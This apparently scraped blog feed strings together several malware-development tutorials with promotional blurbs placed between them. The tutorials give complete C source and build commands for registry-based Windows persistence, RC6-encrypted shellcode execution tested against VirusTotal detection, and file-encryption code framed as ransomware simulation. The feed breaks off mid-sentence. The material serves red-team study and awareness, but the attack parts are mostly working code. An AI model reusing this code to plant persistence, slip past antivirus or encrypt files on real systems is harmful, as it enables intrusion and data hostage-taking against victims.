The very first post in the series about persistence, I wrote about one of the most popular and already classic techniques, via Registry Run keys.
An uncommon Registry entry utilized by the standard βstartupβ process (i.e., the one mostly controlled by Windows Explorer, such as the Run
and RunOnce
keys, the Startup folder, etc.) after userinit.exe
completes its operation, is located at the following location in the Registry:
HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\StartupApproved\Run
Turns out, this key is populated when entries are enabled or disabled via the Windows Task Managerβs Startup
tab:
The good news is that we can use this registry path for persistence.
First of all, check Registry keys by the following command:
reg query "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\StartupApproved" /s
At the next step, as usually, create our βevilβ application (hack.c
):
/*
hack.c
simple DLL messagebox
author: @cocomelonc
https://cocomelonc.github.io/tutorial/2021/09/20/malware-injection-2.html
*/
#include <windows.h>
BOOL APIENTRY DllMain(HMODULE hModule, DWORD nReason, LPVOID lpReserved) {
switch (nReason) {
case DLL_PROCESS_ATTACH:
MessageBox(
NULL,
"Meow-meow!",
"=^..^=",
MB_OK
);
break;
case DLL_PROCESS_DETACH:
break;
case DLL_THREAD_ATTACH:
break;
case DLL_THREAD_DETACH:
break;
}
return TRUE;
}
As usually, just meow-meow
messagebox.
Then we just modifying our HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\StartupApproved
registry key, like this (pers.c
):
/*
pers.c
windows persistence
via StartupApproved
author: @cocomelonc
https://cocomelonc.github.io/malware/2024/03/12/malware-pers-24.html
*/
#include <windows.h>
#include <stdio.h>
int main(int argc, char* argv[]) {
HKEY hkey = NULL;
BYTE data[] = {0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00};
const char* path = "Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\StartupApproved\\Run";
const char* evil = "Z:\\2024-03-12-malware-pers-24\\hack.dll";
LONG res = RegOpenKeyEx(HKEY_CURRENT_USER, (LPCSTR) path, 0, KEY_WRITE, &hkey);
printf (res != ERROR_SUCCESS ? "failed open registry key :(\n" : "successfully open registry key :)\n");
res = RegSetValueEx(hkey, (LPCSTR)evil, 0, REG_BINARY, data, sizeof(data));
printf(res != ERROR_SUCCESS ? "failed to set registry value :(\n" : "successfully set registry value :)\n");
// close the registry key
RegCloseKey(hkey);
return 0;
}
As you can the the logic of our Proof of Concept is pretty simple - we set the value of the registry entry to 0x02 0x00...
binary value.
Letβs go to see everything in action. First of all, compile our βmalwareβ DLL:
x86_64-w64-mingw32-g++ -shared -o hack.dll hack.c -fpermissive
Then, compile our PoC:
x86_64-w64-mingw32-g++ -O2 pers.c -o pers.exe -I/usr/share/mingw-w64/include/ -s -ffunction-sections -fdata-sections -Wno-write-strings -fno-exceptions -fmerge-all-constants -static-libstdc++ -static-libgcc -fpermissive
Finally, run it on the victimβs machine. In my case, for Windows 10 x64 v1903 VM, it is looks like this:
.\pers.exe
As you can see, I also checked registry again:
reg query "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\StartupApproved" /s
Then, logout and login again:
But unexpectedly it didnβt work for meβ¦
Then, I just update the name of entry:
Logout and login, little bit waitβ¦. and itβs worked perfectlyβ¦.
So I updated one line in my script:
/*
pers.c
windows persistence
via StartupApproved
author: @cocomelonc
https://cocomelonc.github.io/malware/2024/03/12/malware-pers-24.html
*/
#include <windows.h>
#include <stdio.h>
int main(int argc, char* argv[]) {
HKEY hkey = NULL;
BYTE data[] = {0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00};
const char* path = "Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\StartupApproved\\Run";
const char* evil = "C:\\temp\\hack.dll";
LONG res = RegOpenKeyEx(HKEY_CURRENT_USER, (LPCSTR) path, 0, KEY_WRITE, &hkey);
printf (res != ERROR_SUCCESS ? "failed open registry key :(\n" : "successfully open registry key :)\n");
res = RegSetValueEx(hkey, (LPCSTR)evil, 0, REG_BINARY, data, sizeof(data));
printf(res != ERROR_SUCCESS ? "failed to set registry value :(\n" : "successfully set registry value :)\n");
// close the registry key
RegCloseKey(hkey);
return 0;
}
But there is a caveat. Sometimes when I tested this feature, it launched like Skype for me:
As you can see, everything worked perfectly as expected! =^..^= :)
This technique is used by APT groups like APT28, APT29, Kimsuky and APT33 in the wild. In all honesty, this method is widely employed and widespread due to its extreme convenience in deceiving the victims.
I hope this post spreads awareness to the blue teamers of this interesting technique, and adds a weapon to the red teamers arsenal.
This is a practical case for educational purposes only.
ATT&CK MITRE: T1547.001
Malware persistence: part 1
APT28
APT29
Kimsuky
APT33
source code in github
Thanks for your time happy hacking and good bye!
PS. All drawings and screenshots are mine
You can now fully assess the impact of phished credentials on your organization. Tune into this webinar to watch the NodeZero platform evaluating the blast radius of every phished credential as it comes in using the Phishing Impact test.
The post Whatβs the true impact on your organization when an employee is phished? appeared first on Horizon3.ai.
You can now fully assess the impact of phished credentials on your organization. Tune into this webinar to watch the NodeZero platform evaluating the blast radius of every phished credential as it comes in using the Phishing Impact test.
The post Whatβs the true impact on your organization when an employee is phished? appeared first on Horizon3.ai.
ο·½
Hello, cybersecurity enthusiasts and white hackers!
In one of my previous posts about cryptography in malware, I considered RC5 encryption, one of the readers asked what would happen if I used RC6 encryption for my payload.
This post is the result of my own research on try to evasion AV engines via encrypting payload with another logic: RC6. As usual, exploring various crypto algorithms, I decided to check what would happen if we apply this to encrypt/decrypt the payload.
RC6 is a symmetric key algorithm for block encryption designed by Ron Rivest in 1998, four years after the proposal of its predecessor, the RC5 encryption algorithm.
RC6 uses a key expansion algorithm to generate round keys from the user-provided key. The key size can vary from 128 bits
to 256 bits
, making it highly secure.
The encryption process involves iterating through a number of rounds, with each round performing a set of operations on the plaintext. In RC6, each round consists of four main steps: mixing, adding round key, rotation, and modular addition. The output of one round becomes the input for the next round.
The decryption process is the reverse of the encryption process. The ciphertext is divided into blocks of 16 bytes each and decrypted using the round keys in reverse order.
Letβs implement it. First of all, initializing P
and Q
. RC6 uses two word-sized constants, P
and Q
:
#define P32 0xB7E15163
#define Q32 0x9E3779B9
P32
is an arbitrary value derived from the mathematical constant phi (Ο)
, specifically Ο = (sqrt(5) - 1) / 2
. It is then multiplied by 2^32
.
Q32
is another arbitrary value derived from the golden ratio constant (Ο
), specifically Ο = (sqrt(5) + 1) / 2
. It is then multiplied by 2^32
.
ROTL
(Rotate Left) and ROTR
(Rotate Right) are bitwise rotation operations. ROTL
rotates the bits of a binary number to the left by a specified number of positions.
ROTR
rotates the bits of a binary number to the right by a specified number of positions.
#define ROTL(x, y) (((x) << (y & (W_BITS - 1))) | ((x) >> (W_BITS - (y & (W_BITS - 1)))))
#define ROTR(x, y) (((x) >> (y & (W_BITS - 1))) | ((x) << (W_BITS - (y & (W_BITS - 1)))))
In the RC6 algorithm, ROTL
and ROTR
are used to perform circular shifts of the binary representations of the input data, keys, and intermediate values during encryption and decryption.
Then, the rc6_setup
function performs the key expansion. It takes the user-provided key and generates round keys, which are stored in the S
` array:
void rc6_setup(const uint8_t *key, WORD S[2 * ROUNDS + 4]) {
int i, j, s, A, B, L[KEYLEN / sizeof(int)], L32 = KEYLEN / (2 * sizeof(int));
for (i = KEYLEN - 1, L[KEYLEN / sizeof(int) - 1] = 0; i != -1; i--)
L[i / sizeof(int)] = (L[i / sizeof(int)] << 8) + key[i];
for (S[0] = P32, i = 1; i < 2 * ROUNDS + 4; i++)
S[i] = S[i - 1] + Q32;
for (A = B = i = j = s = 0; s < 3 * ((2 * ROUNDS + 4) > (2 * L32) ? (2 * ROUNDS + 4) : (2 * L32)); s++, i = (i + 1) % (2 * ROUNDS + 4), j = (j + 1) % (2 * L32))
S[i] = ROTL((S[i] + A + B), 3), A = S[i] = ROTL((S[i] + A + B), (A + B)), B = L[j] = ROTL((L[j] + A + B), (A + B));
return;
}
The next one is the rc6_encrypt
function. It takes the plaintext and the round keys generated during key expansion and applies the encryption algorithm to produce the ciphertext.Since we have the expanded key in the array S
, we can perform the encryption algorithm as specified below. The registers are A,B,C
, and D
which hold both the input (plaintext) and output (ciphertext). Moreover, the first byte of the plaintext (or ciphertext) is placed in the least-significant byte of A
while the last byte of the plaintext is placed in the most-significant byte of D
:
void rc6_encrypt(const uint8_t pt[16], const WORD S[2 * ROUNDS + 4], uint8_t ct[16]) {
WORD A = *(WORD *)(pt + 0), B = *(WORD *)(pt + 4), C = *(WORD *)(pt + 8), D = *(WORD *)(pt + 12), t, u;
B += S[0], D += S[1];
for (int i = 1; i <= ROUNDS; i++) {
t = ROTL(B * (2 * B + 1), 5), u = ROTL(D * (2 * D + 1), 5), A = ROTL(A ^ t, u) + S[2 * i], C = ROTL(C ^ u, t) + S[2 * i + 1], t = A, A = B, B = C, C = D, D = t;
}
A += S[2 * ROUNDS + 2], C += S[2 * ROUNDS + 3];
*(WORD *)(ct + 0) = A, *(WORD *)(ct + 4) = B, *(WORD *)(ct + 8) = C, *(WORD *)(ct + 12) = D;
return;
}
At the end of ROUNDS
rounds, registers A,B,C
and D
hold the ciphertext.
The decryption process implemented in the rc6_decrypt
function. It takes the ciphertext and the round keys generated during key expansion and applies the decryption algorithm to produce the plaintext:
void rc6_decrypt(const uint8_t ct[16], const WORD S[2 * ROUNDS + 4], uint8_t pt[16]) {
WORD A = *(WORD *)(ct + 0), B = *(WORD *)(ct + 4), C = *(WORD *)(ct + 8), D = *(WORD *)(ct + 12), t, u;
C -= S[2 * ROUNDS + 3], A -= S[2 * ROUNDS + 2];
for (int i = ROUNDS; i >= 1; i--) {
t = D, D = C, C = B, B = A, A = t, u = ROTL(D * (2 * D + 1), 5), t = ROTL(B * (2 * B + 1), 5), C = ROTR(C - S[2 * i + 1], t) ^ u, A = ROTR(A - S[2 * i], u) ^ t;
}
D -= S[1], B -= S[0];
*(WORD *)(pt + 0) = A, *(WORD *)(pt + 4) = B, *(WORD *)(pt + 8) = C, *(WORD *)(pt + 12) = D;
return;
}
For simplicity I just implemented 20-round
encryption.
Finally, the full source code for encryption/decryption payload is:
/*
* hack.c
* RC6 implementation
* author: @cocomelonc
* https://cocomelonc.github.io/malware/2024/02/21/malware-cryptography-25.html
*/
#include <stdint.h>
#include <string.h>
#include <math.h>
#include <stdio.h>
#include <windows.h>
#define WORD uint32_t
#define W_BITS 32
#define ROUNDS 20
#define KEYLEN 16
#define P32 0xB7E15163
#define Q32 0x9E3779B9
#define ROTL(x, y) (((x) << (y & (W_BITS - 1))) | ((x) >> (W_BITS - (y & (W_BITS - 1)))))
#define ROTR(x, y) (((x) >> (y & (W_BITS - 1))) | ((x) << (W_BITS - (y & (W_BITS - 1)))))
void rc6_setup(const uint8_t *key, WORD S[2 * ROUNDS + 4]) {
int i, j, s, A, B, L[KEYLEN / sizeof(int)], L32 = KEYLEN / (2 * sizeof(int));
for (i = KEYLEN - 1, L[KEYLEN / sizeof(int) - 1] = 0; i != -1; i--)
L[i / sizeof(int)] = (L[i / sizeof(int)] << 8) + key[i];
for (S[0] = P32, i = 1; i < 2 * ROUNDS + 4; i++)
S[i] = S[i - 1] + Q32;
for (A = B = i = j = s = 0; s < 3 * ((2 * ROUNDS + 4) > (2 * L32) ? (2 * ROUNDS + 4) : (2 * L32)); s++, i = (i + 1) % (2 * ROUNDS + 4), j = (j + 1) % (2 * L32))
S[i] = ROTL((S[i] + A + B), 3), A = S[i] = ROTL((S[i] + A + B), (A + B)), B = L[j] = ROTL((L[j] + A + B), (A + B));
return;
}
void rc6_encrypt(const uint8_t pt[16], const WORD S[2 * ROUNDS + 4], uint8_t ct[16]) {
WORD A = *(WORD *)(pt + 0), B = *(WORD *)(pt + 4), C = *(WORD *)(pt + 8), D = *(WORD *)(pt + 12), t, u;
B += S[0], D += S[1];
for (int i = 1; i <= ROUNDS; i++) {
t = ROTL(B * (2 * B + 1), 5), u = ROTL(D * (2 * D + 1), 5), A = ROTL(A ^ t, u) + S[2 * i], C = ROTL(C ^ u, t) + S[2 * i + 1], t = A, A = B, B = C, C = D, D = t;
}
A += S[2 * ROUNDS + 2], C += S[2 * ROUNDS + 3];
*(WORD *)(ct + 0) = A, *(WORD *)(ct + 4) = B, *(WORD *)(ct + 8) = C, *(WORD *)(ct + 12) = D;
return;
}
void rc6_decrypt(const uint8_t ct[16], const WORD S[2 * ROUNDS + 4], uint8_t pt[16]) {
WORD A = *(WORD *)(ct + 0), B = *(WORD *)(ct + 4), C = *(WORD *)(ct + 8), D = *(WORD *)(ct + 12), t, u;
C -= S[2 * ROUNDS + 3], A -= S[2 * ROUNDS + 2];
for (int i = ROUNDS; i >= 1; i--) {
t = D, D = C, C = B, B = A, A = t, u = ROTL(D * (2 * D + 1), 5), t = ROTL(B * (2 * B + 1), 5), C = ROTR(C - S[2 * i + 1], t) ^ u, A = ROTR(A - S[2 * i], u) ^ t;
}
D -= S[1], B -= S[0];
*(WORD *)(pt + 0) = A, *(WORD *)(pt + 4) = B, *(WORD *)(pt + 8) = C, *(WORD *)(pt + 12) = D;
return;
}
int main() {
uint8_t key[KEYLEN] = { 0x24, 0x3F, 0x6A, 0x88, 0x85, 0xA3, 0x08, 0xD3, 0x45, 0x28, 0x21, 0xE6, 0x38, 0xD0, 0x13, 0x77 };
WORD S[2 * ROUNDS + 4];
rc6_setup(key, S);
unsigned char data[] = {
0xfc, 0x48, 0x81, 0xe4, 0xf0, 0xff, 0xff, 0xff, 0xe8, 0xd0, 0x0, 0x0,
0x0, 0x41, 0x51, 0x41, 0x50, 0x52, 0x51, 0x56, 0x48, 0x31, 0xd2, 0x65,
0x48, 0x8b, 0x52, 0x60, 0x3e, 0x48, 0x8b, 0x52, 0x18, 0x3e, 0x48, 0x8b,
0x52, 0x20, 0x3e, 0x48, 0x8b, 0x72, 0x50, 0x3e, 0x48, 0xf, 0xb7, 0x4a,
0x4a, 0x4d, 0x31, 0xc9, 0x48, 0x31, 0xc0, 0xac, 0x3c, 0x61, 0x7c, 0x2,
0x2c, 0x20, 0x41, 0xc1, 0xc9, 0xd, 0x41, 0x1, 0xc1, 0xe2, 0xed, 0x52,
0x41, 0x51, 0x3e, 0x48, 0x8b, 0x52, 0x20, 0x3e, 0x8b, 0x42, 0x3c, 0x48,
0x1, 0xd0, 0x3e, 0x8b, 0x80, 0x88, 0x0, 0x0, 0x0, 0x48, 0x85, 0xc0,
0x74, 0x6f, 0x48, 0x1, 0xd0, 0x50, 0x3e, 0x8b, 0x48, 0x18, 0x3e, 0x44,
0x8b, 0x40, 0x20, 0x49, 0x1, 0xd0, 0xe3, 0x5c, 0x48, 0xff, 0xc9, 0x3e,
0x41, 0x8b, 0x34, 0x88, 0x48, 0x1, 0xd6, 0x4d, 0x31, 0xc9, 0x48, 0x31,
0xc0, 0xac, 0x41, 0xc1, 0xc9, 0xd, 0x41, 0x1, 0xc1, 0x38, 0xe0, 0x75,
0xf1, 0x3e, 0x4c, 0x3, 0x4c, 0x24, 0x8, 0x45, 0x39, 0xd1, 0x75, 0xd6,
0x58, 0x3e, 0x44, 0x8b, 0x40, 0x24, 0x49, 0x1, 0xd0, 0x66, 0x3e, 0x41,
0x8b, 0xc, 0x48, 0x3e, 0x44, 0x8b, 0x40, 0x1c, 0x49, 0x1, 0xd0, 0x3e,
0x41, 0x8b, 0x4, 0x88, 0x48, 0x1, 0xd0, 0x41, 0x58, 0x41, 0x58, 0x5e,
0x59, 0x5a, 0x41, 0x58, 0x41, 0x59, 0x41, 0x5a, 0x48, 0x83, 0xec, 0x20,
0x41, 0x52, 0xff, 0xe0, 0x58, 0x41, 0x59, 0x5a, 0x3e, 0x48, 0x8b, 0x12,
0xe9, 0x49, 0xff, 0xff, 0xff, 0x5d, 0x49, 0xc7, 0xc1, 0x0, 0x0, 0x0,
0x0, 0x3e, 0x48, 0x8d, 0x95, 0xfe, 0x0, 0x0, 0x0, 0x3e, 0x4c, 0x8d,
0x85, 0x9, 0x1, 0x0, 0x0, 0x48, 0x31, 0xc9, 0x41, 0xba, 0x45, 0x83,
0x56, 0x7, 0xff, 0xd5, 0x48, 0x31, 0xc9, 0x41, 0xba, 0xf0, 0xb5, 0xa2,
0x56, 0xff, 0xd5, 0x4d, 0x65, 0x6f, 0x77, 0x2d, 0x6d, 0x65, 0x6f, 0x77,
0x21, 0x0, 0x3d, 0x5e, 0x2e, 0x2e, 0x5e, 0x3d, 0x0
};
int data_size = sizeof(data);
int padded_size = (data_size + 15) & ~15; // pad data to the nearest multiple of 16
printf("original data:\n");
for (int i = 0; i < data_size; ++i) {
printf("%02x ", data[i]);
}
printf("\n\n");
unsigned char padded_data[padded_size];
memcpy(padded_data, data, data_size);
unsigned char encrypted[padded_size];
unsigned char decrypted[padded_size];
for (int i = 0; i < padded_size; i += 16) {
uint8_t message_chunk[16];
memcpy(message_chunk, padded_data + i, sizeof(message_chunk));
rc6_encrypt(message_chunk, S, message_chunk);
memcpy(encrypted + i, message_chunk, sizeof(message_chunk));
rc6_decrypt(message_chunk, S, message_chunk);
memcpy(decrypted + i, message_chunk, sizeof(message_chunk));
}
printf("padded data:\n");
for (int i = 0; i < padded_size; ++i) {
printf("%02x ", padded_data[i]);
}
printf("\n\n");
printf("encrypted data:\n");
for (int i = 0; i < padded_size; ++i) {
printf("%02x ", encrypted[i]);
}
printf("\n\n");
printf("decrypted data:\n");
for (int i = 0; i < padded_size; ++i) {
printf("%02x ", decrypted[i]);
}
printf("\n\n");
// Compare decrypted data with original data
if (memcmp(data, decrypted, data_size) == 0) {
printf("encryption and decryption successful.\n");
} else {
printf("encryption and decryption failed.\n");
}
LPVOID mem = VirtualAlloc(NULL, data_size, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
RtlMoveMemory(mem, decrypted, data_size);
EnumDesktopsA(GetProcessWindowStation(), (DESKTOPENUMPROCA)mem, (long long int)NULL);
return 0;
}
As usually, for simplicity, used meow-meow messagebox payload:
unsigned char data[] = {
0xfc, 0x48, 0x81, 0xe4, 0xf0, 0xff, 0xff, 0xff, 0xe8, 0xd0, 0x0, 0x0,
0x0, 0x41, 0x51, 0x41, 0x50, 0x52, 0x51, 0x56, 0x48, 0x31, 0xd2, 0x65,
0x48, 0x8b, 0x52, 0x60, 0x3e, 0x48, 0x8b, 0x52, 0x18, 0x3e, 0x48, 0x8b,
0x52, 0x20, 0x3e, 0x48, 0x8b, 0x72, 0x50, 0x3e, 0x48, 0xf, 0xb7, 0x4a,
0x4a, 0x4d, 0x31, 0xc9, 0x48, 0x31, 0xc0, 0xac, 0x3c, 0x61, 0x7c, 0x2,
0x2c, 0x20, 0x41, 0xc1, 0xc9, 0xd, 0x41, 0x1, 0xc1, 0xe2, 0xed, 0x52,
0x41, 0x51, 0x3e, 0x48, 0x8b, 0x52, 0x20, 0x3e, 0x8b, 0x42, 0x3c, 0x48,
0x1, 0xd0, 0x3e, 0x8b, 0x80, 0x88, 0x0, 0x0, 0x0, 0x48, 0x85, 0xc0,
0x74, 0x6f, 0x48, 0x1, 0xd0, 0x50, 0x3e, 0x8b, 0x48, 0x18, 0x3e, 0x44,
0x8b, 0x40, 0x20, 0x49, 0x1, 0xd0, 0xe3, 0x5c, 0x48, 0xff, 0xc9, 0x3e,
0x41, 0x8b, 0x34, 0x88, 0x48, 0x1, 0xd6, 0x4d, 0x31, 0xc9, 0x48, 0x31,
0xc0, 0xac, 0x41, 0xc1, 0xc9, 0xd, 0x41, 0x1, 0xc1, 0x38, 0xe0, 0x75,
0xf1, 0x3e, 0x4c, 0x3, 0x4c, 0x24, 0x8, 0x45, 0x39, 0xd1, 0x75, 0xd6,
0x58, 0x3e, 0x44, 0x8b, 0x40, 0x24, 0x49, 0x1, 0xd0, 0x66, 0x3e, 0x41,
0x8b, 0xc, 0x48, 0x3e, 0x44, 0x8b, 0x40, 0x1c, 0x49, 0x1, 0xd0, 0x3e,
0x41, 0x8b, 0x4, 0x88, 0x48, 0x1, 0xd0, 0x41, 0x58, 0x41, 0x58, 0x5e,
0x59, 0x5a, 0x41, 0x58, 0x41, 0x59, 0x41, 0x5a, 0x48, 0x83, 0xec, 0x20,
0x41, 0x52, 0xff, 0xe0, 0x58, 0x41, 0x59, 0x5a, 0x3e, 0x48, 0x8b, 0x12,
0xe9, 0x49, 0xff, 0xff, 0xff, 0x5d, 0x49, 0xc7, 0xc1, 0x0, 0x0, 0x0,
0x0, 0x3e, 0x48, 0x8d, 0x95, 0xfe, 0x0, 0x0, 0x0, 0x3e, 0x4c, 0x8d,
0x85, 0x9, 0x1, 0x0, 0x0, 0x48, 0x31, 0xc9, 0x41, 0xba, 0x45, 0x83,
0x56, 0x7, 0xff, 0xd5, 0x48, 0x31, 0xc9, 0x41, 0xba, 0xf0, 0xb5, 0xa2,
0x56, 0xff, 0xd5, 0x4d, 0x65, 0x6f, 0x77, 0x2d, 0x6d, 0x65, 0x6f, 0x77,
0x21, 0x0, 0x3d, 0x5e, 0x2e, 0x2e, 0x5e, 0x3d, 0x0
};
As you can see, for checking correctness, also added comparing and printing logic.
Letβs go to see everything in action. Compile it (in my kali
machine):
x86_64-w64-mingw32-gcc -O2 hack.c -o hack.exe -I/usr/share/mingw-w64/include/ -s -ffunction-sections -fdata-sections -Wno-write-strings -fno-exceptions -fmerge-all-constants -static-libstdc++ -static-libgcc
Then, just run it in the victimβs machine (windows 10 x64 v1903
in my case):
.\hack.exe
As you can see, everything is worked perfectly! =^..^=
Letβs go to upload this hack.exe
to VirusTotal:
As you can see, only 21 of 71 AV engines detect our file as malicious.
But this result is not due to the encryption of the payload, but to calls to some Windows APIs like VirtualAlloc
, RtlMoveMemory
and EnumDesktopsA
Shannon entropy for first sections:
In summary, RC6 encryption stands out as a really strong and flexible encryption algorithm, providing a multitude of benefits in comparison to alternative algorithms. RC6 encryption is commonly used to protect sensitive data, including financial information, medical records, and personal information.
I hope this post spreads awareness to the blue teamers of this interesting encrypting technique, and adds a weapon to the red teamers arsenal.
I often wrote about the results of my research here and at various conferences like BlackHat and BSides, and many emails and messages come with various questions. I try to answer questions and consider problems that are interesting to my readers.
RC6
Malware and cryptography 1
source code in github
This is a practical case for educational purposes only.
Thanks for your time happy hacking and good bye!
PS. All drawings and screenshots are mine
The post Shifting the Focus to Exploitability in CTEM and ASM appeared first on Horizon3.ai.
ο·½
Hello, cybersecurity enthusiasts and white hackers!
Since Iβm a little busy writing my book for the Packt publishing, I havenβt been writing as often lately. But Iβm still working on researching and simulating ransomware.
In one of the previous posts I wrote about the Madryga encryption algorithm and how it affected the VirusTotal detection score.
At the request of one of my readers, I decided to show file encryption and decryption logic using the Madryga algorithm.
First of all, we do not update encryption and decryption functions:
void madryga_encrypt(u32 *v, u32 *k) {
u32 v0 = v[0], v1 = v[1], sum = 0, i;
u32 delta = 0x9E3779B9;
for (i = 0; i < ROUNDS; i++) {
sum += delta;
v0 += ((v1 << 4) + k[0]) ^ (v1 + sum) ^ ((v1 >> 5) + k[1]);
v1 += ((v0 << 4) + k[2]) ^ (v0 + sum) ^ ((v0 >> 5) + k[3]);
}
v[0] = v0; v[1] = v1;
}
void madryga_decrypt(u32 *v, u32 *k) {
u32 v0 = v[0], v1 = v[1], sum = 0xE3779B90, i;
u32 delta = 0x9E3779B9;
for (i = 0; i < ROUNDS; i++) {
v1 -= ((v0 << 4) + k[2]) ^ (v0 + sum) ^ ((v0 >> 5) + k[3]);
v0 -= ((v1 << 4) + k[0]) ^ (v1 + sum) ^ ((v1 >> 5) + k[1]);
sum -= delta;
}
v[0] = v0; v[1] = v1;
}
Then, next piece of code implemented encryption and decryption functions for data using a simple block cipher madryga_encrypt
and madryga_decrypt.
It operates on the data in blocks of 8 bytes, with a padding mechanism for the case when the data length is not a multiple of 8:
void madryga_encrypt_data(unsigned char* data, int data_len) {
int i;
uint32_t *ptr = (uint32_t*) data;
for (i = 0; i < data_len / 8; i++) {
madryga_encrypt(ptr, key);
ptr += 2;
}
// check if there are remaining bytes
int remaining = data_len % 8;
if (remaining != 0) {
// pad with 0x90
unsigned char pad[8] = {0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90};
memcpy(pad, ptr, remaining);
madryga_encrypt((uint32_t*) pad, key);
memcpy(ptr, pad, remaining);
}
}
void madryga_decrypt_data(unsigned char* data, int data_len) {
int i;
uint32_t *ptr = (uint32_t*) data;
for (i = 0; i < data_len / 8; i++) {
madryga_decrypt(ptr, key);
ptr += 2;
}
// check if there are remaining bytes
int remaining = data_len % 8;
if (remaining != 0) {
// pad with 0x90
unsigned char pad[8] = {0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90};
memcpy(pad, ptr, remaining);
madryga_decrypt((uint32_t*) pad, key);
memcpy(ptr, pad, remaining);
}
}
Letβs break down the encryption code step by step:
data_len
.uint32_t*
for 32-bit
(4-byte) block processing.madryga_encrypt
function.2
to move to the next 8-byte
block.0x90
and encrypts the padded block.Finally, I implemented file encryption and decryption logic:
void encrypt_file(const char* input_path, const char* output_path) {
FILE* input_file = fopen(input_path, "rb");
FILE* output_file = fopen(output_path, "wb");
if (input_file == NULL || output_file == NULL) {
perror("Error opening file");
exit(EXIT_FAILURE);
}
fseek(input_file, 0, SEEK_END);
long file_size = ftell(input_file);
fseek(input_file, 0, SEEK_SET);
unsigned char* file_content = (unsigned char*)malloc(file_size);
fread(file_content, 1, file_size, input_file);
for (int i = 0; i < file_size / 8; i++) {
madryga_encrypt_data(file_content + i * 8, 8);
}
fwrite(file_content, 1, file_size, output_file);
fclose(input_file);
fclose(output_file);
free(file_content);
}
void decrypt_file(const char* input_path, const char* output_path) {
FILE* input_file = fopen(input_path, "rb");
FILE* output_file = fopen(output_path, "wb");
if (input_file == NULL || output_file == NULL) {
perror("Error opening file");
exit(EXIT_FAILURE);
}
fseek(input_file, 0, SEEK_END);
long file_size = ftell(input_file);
fseek(input_file, 0, SEEK_SET);
unsigned char* file_content = (unsigned char*)malloc(file_size);
fread(file_content, 1, file_size, input_file);
for (int i = 0; i < file_size / 8; i++) {
madryga_decrypt_data(file_content + i * 8, 8);
}
fwrite(file_content, 1, file_size, output_file);
fclose(input_file);
fclose(output_file);
free(file_content);
}
The full source code is looks like this hack.c
:
/*
* hack.c
* encrypt/decrypt file with Madryga algorithm
* author: @cocomelonc
* https://cocomelonc.github.io/malware/2024/01/16/malware-cryptography-24.html
*/
#include <stdio.h>
#include <stdint.h>
#include <string.h>
#include <windows.h>
#define ROUNDS 16
typedef uint32_t u32;
u32 key[4] = {0x00010203, 0x04050607, 0x08090A0B, 0x0C0D0E0F};
void madryga_encrypt(u32 *v, u32 *k) {
u32 v0 = v[0], v1 = v[1], sum = 0, i;
u32 delta = 0x9E3779B9;
for (i = 0; i < ROUNDS; i++) {
sum += delta;
v0 += ((v1 << 4) + k[0]) ^ (v1 + sum) ^ ((v1 >> 5) + k[1]);
v1 += ((v0 << 4) + k[2]) ^ (v0 + sum) ^ ((v0 >> 5) + k[3]);
}
v[0] = v0; v[1] = v1;
}
void madryga_decrypt(u32 *v, u32 *k) {
u32 v0 = v[0], v1 = v[1], sum = 0xE3779B90, i;
u32 delta = 0x9E3779B9;
for (i = 0; i < ROUNDS; i++) {
v1 -= ((v0 << 4) + k[2]) ^ (v0 + sum) ^ ((v0 >> 5) + k[3]);
v0 -= ((v1 << 4) + k[0]) ^ (v1 + sum) ^ ((v1 >> 5) + k[1]);
sum -= delta;
}
v[0] = v0; v[1] = v1;
}
void madryga_encrypt_data(unsigned char* data, int data_len) {
int i;
uint32_t *ptr = (uint32_t*) data;
for (i = 0; i < data_len / 8; i++) {
madryga_encrypt(ptr, key);
ptr += 2;
}
// check if there are remaining bytes
int remaining = data_len % 8;
if (remaining != 0) {
// pad with 0x90
unsigned char pad[8] = {0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90};
memcpy(pad, ptr, remaining);
madryga_encrypt((uint32_t*) pad, key);
memcpy(ptr, pad, remaining);
}
}
void madryga_decrypt_data(unsigned char* data, int data_len) {
int i;
uint32_t *ptr = (uint32_t*) data;
for (i = 0; i < data_len / 8; i++) {
madryga_decrypt(ptr, key);
ptr += 2;
}
// check if there are remaining bytes
int remaining = data_len % 8;
if (remaining != 0) {
// pad with 0x90
unsigned char pad[8] = {0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90};
memcpy(pad, ptr, remaining);
madryga_decrypt((uint32_t*) pad, key);
memcpy(ptr, pad, remaining);
}
}
void encrypt_file(const char* input_path, const char* output_path) {
FILE* input_file = fopen(input_path, "rb");
FILE* output_file = fopen(output_path, "wb");
if (input_file == NULL || output_file == NULL) {
perror("error opening file");
exit(EXIT_FAILURE);
}
fseek(input_file, 0, SEEK_END);
long file_size = ftell(input_file);
fseek(input_file, 0, SEEK_SET);
unsigned char* file_content = (unsigned char*)malloc(file_size);
fread(file_content, 1, file_size, input_file);
for (int i = 0; i < file_size / 8; i++) {
madryga_encrypt_data(file_content + i * 8, 8);
}
fwrite(file_content, 1, file_size, output_file);
fclose(input_file);
fclose(output_file);
free(file_content);
}
void decrypt_file(const char* input_path, const char* output_path) {
FILE* input_file = fopen(input_path, "rb");
FILE* output_file = fopen(output_path, "wb");
if (input_file == NULL || output_file == NULL) {
perror("error opening file");
exit(EXIT_FAILURE);
}
fseek(input_file, 0, SEEK_END);
long file_size = ftell(input_file);
fseek(input_file, 0, SEEK_SET);
unsigned char* file_content = (unsigned char*)malloc(file_size);
fread(file_content, 1, file_size, input_file);
for (int i = 0; i < file_size / 8; i++) {
madryga_decrypt_data(file_content + i * 8, 8);
}
fwrite(file_content, 1, file_size, output_file);
fclose(input_file);
fclose(output_file);
free(file_content);
}
int main() {
encrypt_file("test.txt", "test-enc.bin");
decrypt_file("test-enc.bin", "test-dec.txt");
return 0;
}
As you can see, for test I just encrypt file test.txt
